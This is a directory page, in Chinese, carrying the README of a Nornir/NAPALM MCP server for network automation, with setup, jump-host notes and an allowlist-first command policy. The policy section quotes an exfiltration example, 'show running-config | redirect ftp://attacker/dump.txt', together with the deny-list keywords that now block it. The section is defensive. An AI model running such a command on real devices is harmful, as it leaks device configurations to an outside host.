mcpField
🌐
🌐 Nornir MCP Server

🌐 Nornir MCP Server

远程服务
github.com/yhvh-chen云与基础设施96 周前更新
代码仓库

关于 🌐 Nornir MCP Server

Nornir MCP Server 将基于 Nornir 和 NAPALM 的网络自动化操作开放给 MCP 客户端。它结合并发多厂商设备操作、结构化输出和可配置的命令限制策略。

主要功能

  1. 01并发执行多厂商设备操作
  2. 02NAPALM 获取器和网络命令
  3. 03清单与主机管理
  4. 04基于 Pydantic Schema 的结构化输出
  5. 05允许列表优先的命令策略

适用场景

  1. 01跨设备收集事实和接口数据
  2. 02运行获准的命令、ping 和 traceroute
  3. 03通过 MCP 工具管理网络清单

MCP 相关

它通过 `/mcp` 上的 streamable HTTP 将 Nornir 和 NAPALM 网络操作作为 MCP 工具开放。MCP 客户端可使用设备数据获取、命令和清单工具。

配置

远程服务无需本地安装。选择你使用的客户端,复制配置或使用一键安装。

服务地址http://YOUR_SERVER_IP:8000/sse
一键复制安装命令
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

命令在终端中运行;JSON 粘贴到对应客户端的 MCP 配置后重启。需要授权的服务会在首次连接时提示登录。

工具

详细介绍

🌐 Nornir MCP 服务

许可证:MIT

一个基于官方 MCP Python SDK v2 的 MCPServer 类构建的 MCP 服务,提供由 Nornir 和 NAPALM 驱动的网络自动化工具。

此服务充当桥梁,将 Nornir/NAPALM 网络操作封装为 MCP(模型上下文协议)工具,方便从兼容的 MCP 客户端访问。

✨ 主要功能

  • 并发与多厂商支持:利用 Nornir 管理清单并并发执行网络设备任务,同时借助 NAPALM 支持多厂商设备。
  • 扩展的工具集:提供 20 多种工具,包括各类 NAPALM getter(get_facts、get_interfaces)、执行命令(send_command、ping、traceroute)和清单管理(list_all_hosts)。
  • 结构化且节省 Token 的输出:
    • 当平台和命令存在对应模板时,send_command 会返回经 ntc-templates 解析的结构化数据(字典列表),而不是原始 CLI 文本,这样大模型读取起来更省力;否则会自动回退到原始文本。此功能仅适用于 NAPALM 驱动基于 Netmiko 的平台(ios、nxos_ssh、iosxr 等);基于 eAPI/NETCONF 的驱动(eos、junos 等)始终返回原始文本。
    • send_command 还会传递 SSH 输出过滤管道(| include ...、| section ...、| begin ... 等),由设备在输出到达模型之前进行裁剪 — 详见命令执行与安全策略。
    • 每个 NAPALM getter 工具(get_facts、get_interfaces 等)都通过 MCP 的 structured_output=True 声明 Pydantic 返回模型,因此客户端会获得真正的 JSON Schema,而不只是文档字符串 — 详见 MCP 协议功能。
  • 可靠的输入验证:使用 Pydantic 模型验证所有传入工具的数据,确保类型安全并防止无效输入导致错误。
  • 安全的命令执行:send_command 受可配置的命令策略(conf/command_policy.yaml)限制 — 先检查只读动词(show、ping 等)白名单,并通过拒绝列表(精确命令、关键词、正则表达式模式)提供纵深防御,阻止在允许的动词后夹带危险命令。
  • 容器化且快速:使用 Docker 🐳 容器化,便于快速设置;并在容器内使用 uv ⚡ 实现闪电般快速的 Python 依赖管理。

🔧 前提条件

开始之前,请确保已安装以下组件:

⚙️ 配置

运行服务之前,必须配置网络清单和设备凭据:

  1. 转到项目中的 conf/ 目录。
  2. 编辑 hosts.yaml:定义网络设备,包括其管理 IP、平台、凭据和组。
  3. 编辑 groups.yaml:定义具有共享属性的设备组。
  4. 编辑 defaults.yaml:设置默认凭据和连接选项。
    • **⚠️ 重要安全提示:**在生产环境中,强烈建议使用 Nornir 的密钥管理功能,以避免在 YAML 文件中存储明文凭据。
  5. 检查 command_policy.yaml:根据安全策略自定义 allowed_prefixes(send_command 接受的只读动词)和拒绝列表条目(被阻止的命令/模式)— 关于这两个层如何交互,详见命令执行与安全策略。
通过跳板机/堡垒机访问设备

Linux/macOS 上无需修改代码:NAPALM 的 SSH 驱动(ios、nxos_ssh、iosxr 等)内部封装了 Netmiko,而 Netmiko 原生支持标准 OpenSSH 配置文件中的 ProxyJump/ProxyCommand 指令。指定配置文件后,它会自动通过跳板机建立到设备的隧道连接。

  1. 将 conf/ssh_config.example 复制为 conf/ssh_config(此文件已加入 gitignore,因为它可能暴露内部主机名/代理拓扑),并填写真实的跳板机信息。
  2. 在 defaults.yaml(或特定的 groups.yaml/hosts.yaml 条目)中指定该文件:
    connection_options:
      napalm:
        extras:
          optional_args:
            ssh_config_file: conf/ssh_config
    

Netmiko 的 ProxyJump 仅支持单跳(逗号分隔的多跳链会触发错误);如需真正的多跳路径,请改用 ProxyCommand,并使用 ssh -J hop1,hop2 -W %h:%p ...——请参阅 conf/ssh_config.example 中的两个示例。

实际运行此服务的机器必须配置好跳板机自身的 SSH 密钥和 known_hosts;这是操作系统级别的 SSH 配置,不由本项目管理。

⚠️ 已知限制——在 Windows 原生环境中运行: 当此服务直接运行在 Windows 原生 Python 解释器下时(而非在基于 Linux 的 Docker 镜像中运行;后者是受支持的生产部署方式,不受此限制影响),基于 ssh_config_file 的跳板机无法使用。我们已通过真实设备验证并追查到涉及的两个库的根本原因,而不是盲目尝试绕过:

  1. Netmiko 的 _use_ssh_config() 使用 os.path.abspath() 解析 ssh_config 路径。在 Windows 上,无论配置中的路径采用何种写法,该函数始终返回反斜杠分隔的路径(例如 C:\Users\me\nornir_mcp\conf\ssh_config)。
  2. 该路径会嵌入 ProxyCommand 字符串(ssh -F <path> -W host:port hop),随后 Paramiko 的 ProxyCommand 会在 POSIX 模式下使用 shlex.split() 解析该字符串。在此模式下,\ 是转义字符,因此每个反斜杠都会被静默删除(C:\Users\me\...\ssh_config → C:Usersme...sshconfig),导致路径不存在,连接失败。

这是无条件的限制——无论输入如何,abspath() 和 shlex.split() 都会如此处理,因此修改 conf/ssh_config 或 hosts.yaml 无法规避。若需在 Windows 原生环境中测试跳板机连接(通过 Docker 部署时无需此操作),可采用以下解决方法:

  • 手动建立 SSH 本地端口转发(ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>),并在 hosts.yaml 中直接将地址指向 127.0.0.1:<local_port>,完全跳过 ssh_config_file。
  • 或者,即使是本地开发,也在 Docker/WSL2 中运行此服务;此时路径采用 POSIX 格式,不会出现此问题。

▶️ 运行服务

配置完成后,你可以使用 Docker Compose 轻松运行服务:

docker-compose up --build -d

此命令会在 Docker 容器中启动 Nornir MCP 服务,可通过主机的 8000 端口访问。容器现在使用 run.py 作为入口点,支持开发和生产模式。

如需在本地运行服务(不使用 Docker),请使用:

python run.py --dev

或直接使用:

python run.py

默认情况下,服务将在 127.0.0.1:8000 上启动;如果需要让其他机器也能访问,请显式传入 --host 0.0.0.0(此服务可以向真实设备推送配置并运行命令,因此默认不会监听所有网络接口)。

🔌 如何连接 MCP 客户端

此项目通过使用 streamable-http 传输的 HTTP 暴露 MCP 服务。它只有一个端点:

  • HTTP API 端点: http://:/mcp

关于传输方式和客户端设置的说明:

  • MCP 服务本身是一个由 Uvicorn 提供服务的 HTTP 应用程序(Starlette)。请使用支持 streamable-http 传输的客户端,直接连接到 /mcp。
  • 没有单独的 /sse 端点——streamable-http 是一个单一端点,已在内部支持服务器发送事件流传输;不需要(也不会暴露)第二个 SSE 路径。
  • 对于常见的 HTTP 客户端,你无需以 stdio 模式运行此项目。此前提到以“stdio 模式”运行服务并使用 Supergateway 代理的说明不适用于此仓库的常规用法。

MCP 客户端 JSON 配置示例(HTTP/streamable-http):

{
  "name": "Nornir MCP (HTTP)",
  "url": "http://localhost:8000/mcp",
  "transport": "http"
}

🔒 命令执行与安全策略

send_command 是唯一一个会向设备发送操作员提供的任意文本的工具,因此受 conf/command_policy.yaml 约束——这是一个以允许列表优先的双层模型(取代了仅使用拒绝列表的旧版 conf/blacklist.yaml):

  1. allowed_prefixes(允许列表,优先检查,是实际的安全边界):命令必须以这些动词之一开头(默认值为 show、display、get、ping、traceroute),否则无论文件中的其他设置如何,都会被直接拒绝。将此项留空会禁用允许列表关卡,并退回到仅依赖拒绝列表的执行方式——不推荐。
  2. exact_commands / keywords / disallowed_patterns / regex_patterns(拒绝列表,第二步检查,提供纵深防御):用于捕获以允许动词开头、但在后面夹带危险内容的命令。拒绝列表本身永远无法做到全面——在加固此服务时发现并修复的实际漏洞包括:
    • reload in 5 / reload at 02:00 绕过了仅精确匹配 reload 的条目——已改为通过 keywords 将 reload 作为完整单词匹配。
    • copy run start(一种标准的 IOS 缩写)绕过了完整短语关键字 copy running-config startup-config——已通过正则表达式模式 copy\s+run\S*\s+start\S* 修复。
    • show running-config | redirect ftp://attacker/dump.txt——以允许动词 show 开头,因此仅靠允许列表无法阻止。已通过禁止管道 目标 关键字(redirect、tee、append、save)修复,同时仍允许 | include、| section、| begin 等普通输出筛选管道。

以上内容均通过单元测试以及对真实设备运行的实际允许列表/拒绝列表逻辑进行了验证,并非仅从代码中检查得出。

输出筛选管道

send_command 会将 SSH 管道语法原样传递给设备(例如 show interfaces | include up),因此筛选会在设备上完成,而不是在返回的载荷中进行——对于完整运行配置等大型输出,这能大幅减少 token 用量。上述策略仅会阻止用于写入/泄露输出的目标型管道,不影响筛选管道。

🧩 MCP 协议功能(v2 SDK)

此服务已从 mcp[cli]==1.15.0 的 FastMCP 迁移至 mcp[cli]>=2.1.1 的 MCPServer,并利用了多项仅限 v2 的机制:

  • 工具注解(mcp.types.ToolAnnotations):每个工具都会声明 read_only_hint / destructive_hint / idempotent_hint / open_world_hint,让客户端或编排 Agent 能在协议层面判断哪些工具无需确认即可安全调用,而不必只从文档字符串中了解这一点。面向设备的工具(get_facts、send_command 等)标记为 open_world_hint=True,因为它们会查询状态无法完全提前获知的实时外部设备;仅限本地的工具(list_all_hosts、validate_params)标记为 open_world_hint=False。
  • 结构化工具输出(@mcp.tool(structured_output=True)):每个 NAPALM getter 工具都会返回 Pydantic 模型(DeviceTaskResult、TracerouteResultModel),而非普通字典,因此 MCP 会自动为客户端生成 JSON 输出模式,并在运行时严格验证实际返回值是否符合该模式(不匹配时会报错,而不仅仅是记录其结构)。send_command 和 list_all_hosts 则刻意不使用此功能——它们的返回结构确实会变化(ntc-templates 匹配结果与原始文本;成功结果与结构不同的错误字典),而 MCP v2 的严格运行时验证会拒绝这些合理变化的结构。
  • 缓存提示(mcp.server.caching.CacheHint):tools/list、resources/list、resources/templates/list、prompts/list 和 server/discover 均标记为公开且可缓存 5 分钟,因为注册的工具、资源和提示词集合只会在重新部署时改变。resources/read 则采用较短的 30 秒缓存提示,因为只要有人在服务运行期间编辑 conf/ YAML,资源内容(清单、拓扑)就可能改变。
  • 资源安全(文件资源默认启用):解析资源 URI 时会自动拒绝路径遍历、绝对路径和空字节——这一点已通过实际验证,而非仅依赖 SDK 默认设置。
  • 未使用——MCP 日志记录功能(Context.info()/.warning()):此服务通过标准 logging 模块在本地记录日志,而非通过基于 MCP Context 的协议日志功能。该 MCP 功能自 2026-07-28 规范修订版(SEP-2577,已由 OpenTelemetry 取代)起已弃用——开发期间实际尝试时触发了 MCPDeprecationWarning,证实了这一点。因此,我们移除了该功能,而没有将其保留在已弃用的 API 后面。
  • 未使用——进度报告/资源更新通知:经过评估后有意跳过。此处的每个工具都通过一次同步 Nornir 任务运行操作一台设备(包括 send_command 的多命令场景,命令也会在单个任务中解析,而非通过异步层调用循环处理),因此没有自然的中间节点可用于报告进度,除非破坏 Nornir 每个连接执行一个任务的模型——将 send_command 拆分为按命令逐次执行的异步层调用,会导致每条命令都新建一个 SSH 连接,而非复用同一连接。这会造成实际的性能退化,换来的令牌/用户体验收益也不适用于此服务典型的单设备、少量命令用法。

🧠 提示词(自定义提示词函数)

此服务支持注册自定义提示词函数,并返回消息列表(MCP 提示词格式)。提示词可让你预先定义对话输入,供 MCP 客户端或由大模型驱动的 Agent 以命名提示词的形式调用。MCP Python SDK 的 MCPServer 类提供了 @server.prompt() 装饰器,用于注册函数。

主要功能:

  • 使用 @server.prompt() 注册同步或异步提示词函数。
  • 可选提供 name、title 和 description,以便 MCP 客户端发现提示词。
  • 提示词可以返回结构化消息,包括资源引用(适用于返回文件内容或设备清单片段)。

如何添加提示词(示例):

@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
    hosts = nr_mgr.list_hosts()
    return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]

包含资源的异步示例:

@server.prompt()
async def show_topology() -> list:
    topo = await server.read_resource("resource://topology")
    return [{"role": "user", "content": {"type": "resource", "resource": topo}}]

使用说明:

  • 注册提示词后,客户端可以通过 MCP ListPrompts 请求发现它们,并按名称调用。
  • 提示词函数应保持轻量且具有确定性;避免在提示词函数中执行长时间运行的操作。如果需要从设备收集数据,可以考虑注册一个工具并在提示词中调用它,或返回简短的资源引用供客户端获取。

安全性:

  • 提示词在服务进程内运行;请勿在提示词函数中执行不安全的文件操作或运行不可信代码。

📦 手动/本地安装

快速入门 — Docker(推荐)

  1. 使用 docker-compose 构建并运行(在仓库根目录执行):
docker-compose up --build -d

这会在容器中启动服务,默认通过端口 8000 对外提供服务。

快速入门 — 本地

  1. 创建并激活虚拟环境。
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
  1. 安装运行时依赖(示例):
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
  1. 在本地运行服务(默认绑定到 127.0.0.1:8000;对于容器或需要向其他机器开放服务时,传入 --host 0.0.0.0):
python run.py

或者使用 uv(使用随附的运行器时推荐):

uv run .\run.py

如需更改主机或端口,请在运行 run.py 时使用 --host 和 --port 标志。

📚 服务提供的资源

  • resource://inventory/hosts — 返回主机的 JSON 数组,其中字段已清理(name、hostname、platform、groups、data)。username、password 和 secret 等敏感键会被移除。
  • resource://inventory/hosts/{keyword} — 返回相同格式的输出,并按关键字筛选(不区分大小写);关键字会匹配 name、hostname、platform、组名或 data 值。
  • resource://inventory/groups — 返回组映射(已清理)。
  • resource://topology — 解析后的 resources/topology.json。
  • resource://cisco_ios_commands — 解析后的 resources/cisco_ios_commands.json。

如何添加自定义资源

  1. 编辑 resources.py,并添加一个名为 resource_<name> 的函数(例如 resource_my_tools)。
  2. 如果函数需要 Nornir 管理器,请将单个参数命名为 nr_mgr。
  3. 如果需要自定义 URI,请在 RESOURCE_MAP 中添加条目;否则将使用默认 URI resource://user/<name>。

resources.py 代码片段示例

def resource_my_static():
  return {"hello": "world"}

def resource_my_hosts(nr_mgr):
  # returns a JSON-serializable list of hosts
  return nr_mgr.list_hosts()

🔐 安全说明

  • Inventory YAML 文件可能包含凭据。在生产环境中,优先使用机密管理(Vault、环境变量或 Nornir 机密插件),而不是明文 YAML。
  • 服务会从通过 resource://inventory/* 提供的资源中移除常见敏感键(username、password、secret)。
  • send_command 受 conf/command_policy.yaml 控制 — 请参阅上文的命令执行与安全策略。
  • 默认情况下,服务绑定到 127.0.0.1,而非 0.0.0.0 — 此服务可以向真实设备推送配置并运行命令,因此默认不会监听所有网络接口。如需让其他机器访问(例如在 Docker 中),请显式传入 --host 0.0.0.0。
  • conf/ssh_config(真实跳板主机配置)已加入 gitignore,因为它可能泄露内部主机名或代理拓扑 — 仅提交 conf/ssh_config.example。

贡献

  • 如需提交更改,请创建 issue 或 PR。请尽量保持更改精简,并在适当时附上测试。

许可证

  • MIT

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。